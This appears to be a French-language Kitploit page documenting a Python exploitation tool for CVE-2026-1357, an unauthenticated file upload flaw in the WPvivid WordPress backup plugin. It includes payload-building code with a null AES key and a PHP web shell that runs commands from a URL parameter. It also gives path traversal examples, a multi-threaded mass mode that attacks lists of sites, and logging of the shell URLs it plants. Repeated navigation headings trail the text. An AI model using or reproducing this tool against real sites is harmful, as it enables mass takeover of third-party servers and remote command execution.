CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Téléversement arbitraire de fichiers sans authentification | Kitploit

Il construit une structure JSON :

{
  "name": "<file_name>",
  "offset": 0,
  "data": "<base64(file_bytes)>",
  "file_size": <len(file_bytes)>,
  "md5": "<md5(file_bytes)>"
}

Il sérialise ce JSON (forme compacte, sans espaces).
Il chiffre le JSON en utilisant :
- AES-128-CBC
- key = b"\x00" * 16
- iv = b"\x00" * 16
Il ajoute ensuite au début :
- 3 octets : "000" (un espace réservé statique pour le champ de longueur).
- 16 octets en hexadécimal majuscule : longueur du chiffré encodée sous la forme "{len(cipher):016X}".

Le blob chiffré final est :

"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>

Ce blob est encodé en base64 et renvoyé comme valeur finale wpvivid_content.

def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Sélection du mode

Lorsque vous y êtes invité :
```
Choose mode (mood1/mood2) [mood1]:
```
Appuyez sur Entrée (par défaut mood1) ou saisissez mood1.
Nom de fichier / chemin cible

Il vous est demandé :
```
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
```
Exemples :
- Pour déposer un fichier dans le répertoire de sauvegarde WPvivid :
```
Nx_.php
```
- Pour abuser d'une traversée de répertoire (si la cible l'autorise) :
```
../../public_html/Nx_.php
```
La valeur est placée dans le champ name de la charge utile JSON.
Mode de saisie du contenu

Le script affiche trois façons de définir le contenu du fichier :
- Mode 1 : contenu sur une seule ligne.
- Mode 2 : contenu multiligne (se termine par EOF).
- Mode 3 : lecture depuis un fichier local (par exemple shell.php).
L'invite suivante s'affiche :
```
Mode [1/2/3] [1]:
```
- Mode 1 – Ligne unique
```
Single line content:
```
  Exemple de saisie :
```
<?php phpinfo();
```
- Mode 2 – Multiligne
```
Enter file content, line by line. Type 'EOF' on its own line when done.
```
  Vous pouvez coller ou saisir un script PHP multiligne, puis terminer par EOF sur sa propre ligne :
```
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
```
- Mode 3 – Fichier local
```
Local file path (e.g., shell.php):
```
  Le script lit l'intégralité du fichier dans file_bytes.
Génération de la charge utile

Une fois le contenu capturé, le script :
- Construit l'objet JSON.
- Le chiffre avec AES-CBC à clé nulle.
- Encapsule le blob binaire.
- L'encode en base64.
Vous obtenez une sortie comme :
```
Payload generated.
Use the value after '=' as wpvivid_content.

wpvivid_content=BASE64_BLOB_HERE
```
Et un fichier wpvivid_payload.txt est écrit :
```
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
```

Fichier de cibles

Exemple d'invite :
```
Targets list file (one URL per line):
```
Format attendu du fichier (par exemple targets.txt) :
```
https://site1.com
site2.com
http://site3.net
```
Le script normalisera automatiquement les URL de base (en ajoutant le schéma si nécessaire).
Nombre de threads
```
Threads (concurrent sites) [5]:
```
Contrôle le nombre de sites traités en parallèle.
Logique par cible

Pour chaque cible :
- Normaliser l'URL → base_url.
- Appeler :
```
send_wpvivid_payload(base_url, payload)
```
  qui :
  - Construit la requête POST wpvivid_action=send_to_site + wpvivid_content=<payload>.
  - L'envoie via une nouvelle session avec des réglages de pool de connexions ajustés.
  - Vérifie si la réponse contient {"result":"success"} (vérification sous forme compacte).
- Si le téléversement est considéré comme réussi :
  - Construire shell_url comme :
```
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
```
  - L'enregistrer dans Nx_.txt.
  - Tenter verify_written_file() :
    - Envoyer une requête GET à shell_url.
    - Si status_code == 200, le marquer comme vérifié.
- Si des erreurs surviennent :
  - Le script classe la raison via short_reason() :
    - TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
Interface
- La barre de progression Rich affiche la progression globale et le temps écoulé.
- Chaque site affiche :
  - [OK] <shell_url> en cas de succès.
  - [FAIL] <base> (reason: ...) en cas d'erreur.
  - [!] Not verified (...) lorsque le téléversement a peut-être réussi mais que la vérification a échoué.

URL cible

Invite :
```
Target base URL (e.g., https://site.com):
```
Exemple :
```
https://victim.com
```
Le script normalise ceci en une base comme :
```
https://victim.com
```
Nom de fichier

Invite :
```
Expected file name (e.g., Nx_.php):
```
C'est le nom/chemin que vous attendez que WPvivid écrive (correspondant à ce que vous avez encodé dans le champ name de la charge utile).
Saisie de la charge utile

Invite :
```
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
```
- Si vous collez une ligne complète commençant par wpvivid_content=..., le préfixe est supprimé.
- Si vous collez uniquement le base64, il le prend tel quel.
Exécution

Le script :
- Envoie la requête POST avec wpvivid_action=send_to_site + votre wpvivid_content.
- Si la réponse suggère un succès, il construit :
```
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
```
  et affiche [OK] avec cette URL.
- Ajoute les URL réussies à Nx_.txt.
- Tente la vérification via verify_written_file() et affiche le résultat.

CVE-2026-1357

Populaires

🧠 Détails techniques internes

🔐 Charge utile AES à clé nulle

🧰 Fonctionnalités et modes

🚦 Exécution du script

🧪 Mode : mood1 – Générateur de charge utile

Objectif

Déroulement

Optionnel : Mode masse depuis mood1

🌐 Mode masse – Cibles multiples

Objectif

Déroulement

🧪 Mode : mood2 – Testeur sur cible unique

Objectif

Déroulement

📁 Fichiers de sortie

⚠️ Avertissement

✍️ Auteur et contact

CVE-2026-1357

Populaires

🧨 CVE-2026-1357 – Outil d'exploitation WPvivid à clé nulle (CVE-2026-1357.py)

🧬 Ce que fait ce script

🧠 Détails techniques internes

🔐 Charge utile AES à clé nulle

🧰 Fonctionnalités et modes

🚦 Exécution du script

🧪 Mode : mood1 – Générateur de charge utile

Objectif

Déroulement

Optionnel : Mode masse depuis mood1

🌐 Mode masse – Cibles multiples

Objectif

Déroulement

🧪 Mode : mood2 – Testeur sur cible unique

Objectif

Déroulement

📁 Fichiers de sortie

⚠️ Avertissement

✍️ Auteur et contact

🧨 CVE-2026-1357 – Outil d'exploitation WPvivid à clé nulle (`CVE-2026-1357.py`)